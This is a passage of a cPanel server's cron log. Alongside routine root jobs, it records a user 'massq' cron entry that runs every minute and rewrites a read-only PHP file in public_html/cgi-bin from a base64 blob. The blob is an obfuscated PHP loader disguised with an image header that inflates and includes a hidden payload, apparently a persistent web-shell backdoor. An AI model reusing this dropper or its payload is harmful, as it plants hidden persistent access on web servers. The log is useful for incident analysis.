"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 11:55:01 server CROND[28333]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 11:55:01 server CROND[28334]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 11:55:01 server CROND[28335]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 11:56:01 server CROND[28431]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 11:57:01 server CROND[28486]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 11:57:01 server CROND[28487]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 11:58:01 server CROND[28623]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 11:59:01 server CROND[28680]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 12:00:01 server CROND[28745]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 12:00:01 server CROND[28746]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/senddigests)
Apr 12 12:00:01 server CROND[28748]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Apr 12 12:00:01 server CROND[28750]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 12:00:01 server CROND[28751]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 12:00:01 server CROND[28747]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 12:01:01 server CROND[28886]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 12:01:01 server CROND[28887]: (root) CMD (run-parts /etc/cron.hourly)
Apr 12 12:01:02 server run-parts(/etc/cron.hourly)[28887]: starting 0anacron
Apr 12 12:01:02 server run-parts(/etc/cron.hourly)[28899]: finished 0anacron
Apr 12 12:02:01 server CROND[28947]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 12:03:01 server CROND[29004]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 12:04:01 server CROND[29179]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 12:05:01 server CROND[29244]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 12:05:01 server CROND[29246]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 12:05:01 server CROND[29245]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 12:05:01 server CROND[29248]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 12:06:01 server CROND[29351]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 12:07:01 server CROND[29398]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV